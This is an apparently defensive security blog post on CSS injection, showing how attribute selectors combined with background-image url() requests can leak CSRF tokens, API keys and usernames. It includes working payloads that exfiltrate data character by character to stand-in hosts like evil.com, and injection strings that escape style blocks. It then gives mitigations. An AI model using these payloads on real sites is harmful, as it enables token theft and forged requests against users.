0x55aa
Back to Blog

CSS Injection: Your Stylesheet Is a Spy ๐ŸŽจ๐Ÿ•ต๏ธ

|
6 min read

CSS Injection: Your Stylesheet Is a Spy ๐ŸŽจ๐Ÿ•ต๏ธ

You spent a week locking down your app. Strict Content-Security-Policy, sanitized inputs, no eval() anywhere. You even blocked inline scripts. You felt safe.

Then a security researcher submitted a bug bounty report: "CSS injection leads to CSRF token exfiltration."

You stared at the screen. CSS? Stylesheets? Those are harmless, right?

Wrong. Dead wrong. Let me show you how CSS can steal secrets without a single line of JavaScript. ๐Ÿ˜ฌ

Wait, CSS Can Steal Data? ๐Ÿคจ

Yes. And it's been abused in the wild for years.

Here's the core trick โ€” CSS attribute selectors combined with background-image requests:

/* If the CSRF token starts with "a"... */
input[name="csrf_token"][value^="a"] {
  background: url("https://attacker.com/leak?c=a");
}

/* If the CSRF token starts with "b"... */
input[name="csrf_token"][value^="b"] {
  background: url("https://attacker.com/leak?c=b");
}

The browser evaluates those selectors. When one matches โ€” say, the token starts with a โ€” it fires an HTTP request to the attacker's server to fetch the "background image." The attacker sees the request. Now they know the first character.

Repeat for every character. Automate it. You've exfiltrated the entire token. Without JavaScript. Without XSS. Just CSS. ๐ŸŽฏ

How Does CSS Injection Happen? ๐Ÿ’‰

Three common entry points:

1. User-controlled styles in a <style> tag

<!-- App lets users customize their profile color -->
<style>
  .profile-header {
    background-color: {{ user_color }};  <!-- UNSANITIZED! -->
  }
</style>

<!-- Attacker sets color to: -->
<!-- red } input[value^="a"] { background: url(https://evil.com/?c=a) } .x { color: -->

2. Partial CSS injection via style attribute

<!-- App reflects user input into inline style -->
<div style="color: {{ user_input }}">Hello</div>

<!-- Attacker injects: -->
<!-- red; background: url(https://evil.com/leak) -->

3. Unsanitized @import or custom themes

/* App allows user-uploaded CSS themes */
@import url("https://attacker.com/evil.css");
/* Now attacker controls ALL styles on the page */

The CSRF Token Heist: A Real Attack Flow ๐Ÿดโ€โ˜ ๏ธ

Here's how an attacker actually does this step by step.

The target: A form with a hidden CSRF token:

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="x8kP2mQ9...">
  <input type="text" name="amount">
  <button>Transfer</button>
</form>

The injected CSS (automated, one request per possible character):

/* Round 1: Figure out the first character */
input[name="csrf_token"][value^="0"] { background: url("https://evil.com/?pos=0&char=0"); }
input[name="csrf_token"][value^="1"] { background: url("https://evil.com/?pos=0&char=1"); }
/* ... one rule per character in the charset ... */
input[name="csrf_token"][value^="x"] { background: url("https://evil.com/?pos=0&char=x"); }
/* attacker.com receives: /?pos=0&char=x  โ†’ first char is 'x' */

/* Round 2: Figure out the second character */
input[name="csrf_token"][value^="x8"] { background: url("https://evil.com/?pos=1&char=8"); }
input[name="csrf_token"][value^="xA"] { background: url("https://evil.com/?pos=1&char=A"); }
/* attacker.com receives: /?pos=1&char=8  โ†’ second char is '8' */

/* Repeat until full token is reconstructed */

This works because:

  • [value^="x"] means "starts with x" โœ…
  • [value^="x8"] means "starts with x8" โœ…
  • CSS fires HTTP requests to load "images" โœ…
  • No JavaScript involved โœ…
  • Your CSP blocking script-src does nothing โœ…

Once the full token is known, the attacker can forge a request and bypass CSRF protection entirely.

What Else Can CSS Leak? ๐Ÿ”

The attribute selector technique works on any value in the DOM:

/* Steal API keys from hidden inputs */
input[name="api_key"][value^="sk-"] {
  background: url("https://evil.com/?k=sk-");
}

/* Check if user is logged in as admin */
[data-role="admin"] {
  background: url("https://evil.com/youre-an-admin");
}

/* Exfiltrate username from data attributes */
[data-username^="john"] {
  background: url("https://evil.com/?u=john");
}

/* Detect installed browser extensions (yes, really) */
#extension-injected-element {
  background: url("https://evil.com/has-extension");
}

CSS injection can also enable clickjacking, UI redressing, and information disclosure (detecting app state) โ€” all without a single <script> tag.

How to Fix This ๐Ÿ›ก๏ธ

1. Never Reflect User Input Into CSS Unsanitized

// DANGEROUS: User input directly in CSS
app.get('/profile', (req, res) => {
  const color = req.query.color; // "red} evil{...}"
  res.send(`<style>.header { color: ${color}; }</style>`);
});

// SAFE: Validate against an allowlist
const ALLOWED_COLORS = /^#[0-9A-Fa-f]{6}$|^(red|blue|green|...)$/;

app.get('/profile', (req, res) => {
  const color = req.query.color;
  if (!ALLOWED_COLORS.test(color)) {
    return res.status(400).send('Invalid color');
  }
  res.send(`<style>.header { color: ${color}; }</style>`);
});

2. Lock Down CSS with a Tight Content-Security-Policy

Content-Security-Policy:
  default-src 'self';
  style-src 'self';           โ† no 'unsafe-inline', no external stylesheets
  img-src 'self' data:;       โ† block img requests to unknown domains
  connect-src 'self';

This alone doesn't prevent injection, but it blocks the exfiltration step โ€” url() requests to attacker's domain get blocked by img-src.

3. Use a CSS Sanitizer for User-Supplied Styles

If you let users customize themes or embed styles, sanitize with a library:

import { sanitize } from 'css-sanitizer'; // or similar library

const userCSS = req.body.theme_css;
const safeCSS = sanitize(userCSS, {
  allowedProperties: ['color', 'font-size', 'background-color'],
  allowedAtRules: [],          // no @import, no @font-face
  allowURLs: false,            // strip all url() values
});

No url() values โ†’ no exfiltration possible.

4. Move Sensitive Values Out of the DOM

The deeper fix: don't put CSRF tokens in attribute values that CSS can read.

<!-- BAD: Token in value attribute โ€” CSS can read it -->
<input type="hidden" name="csrf_token" value="x8kP2mQ9abc">

<!-- BETTER: Token set via JavaScript after page load -->
<input type="hidden" name="csrf_token" id="csrf">
<script>
  // Set via fetch, not rendered in HTML
  fetch('/api/csrf-token')
    .then(r => r.json())
    .then(({ token }) => document.getElementById('csrf').value = token);
</script>

If the token isn't in the HTML at page load time, CSS injection can't read it (assuming you've blocked script-src 'unsafe-inline' too).

The Security Checklist ๐Ÿ—’๏ธ

  • Never interpolate user input into <style> blocks or style= attributes
  • Set a strict Content-Security-Policy with style-src 'self'
  • Block url() in user-supplied CSS (use a sanitizer)
  • Avoid storing secrets in visible DOM attributes
  • Add CSS injection test cases to your security reviews
  • Check for @import in any user-controllable CSS fields

The Bottom Line ๐ŸŽฏ

CSS injection is one of those vulnerabilities that sounds absurd until it destroys you. "Stylesheets can steal data" feels like a prank. But CSS attribute selectors + background-image requests is a legitimate, documented attack technique with real-world bug bounty payouts.

The hardest part isn't fixing it โ€” a strict CSP and input validation handle most cases. The hard part is remembering to check for it when CSS is involved. Most security checklists stop at XSS and CSRF. CSS injection hides in the blind spot.

Secure your stylesheets like you secure your scripts. Your CSS is not "just styling" โ€” in the right (wrong) conditions, it's a data exfiltration tool. ๐Ÿ”’


Found a creative web vulnerability? Let's connect on LinkedIn โ€” security stories welcome.

Curious how deep the rabbit hole goes? Explore the projects on GitHub โ€” there's always more to learn.

P.S. โ€” If your app lets users upload custom CSS themes without sanitization, go fix that right now. I'll wait. ๐Ÿ˜…

P.P.S. โ€” Yes, you can also use CSS injection to detect if someone is logged into other websites by targeting site-specific DOM elements. The web is wild. ๐ŸŒ

Thanks for reading!

Back to all posts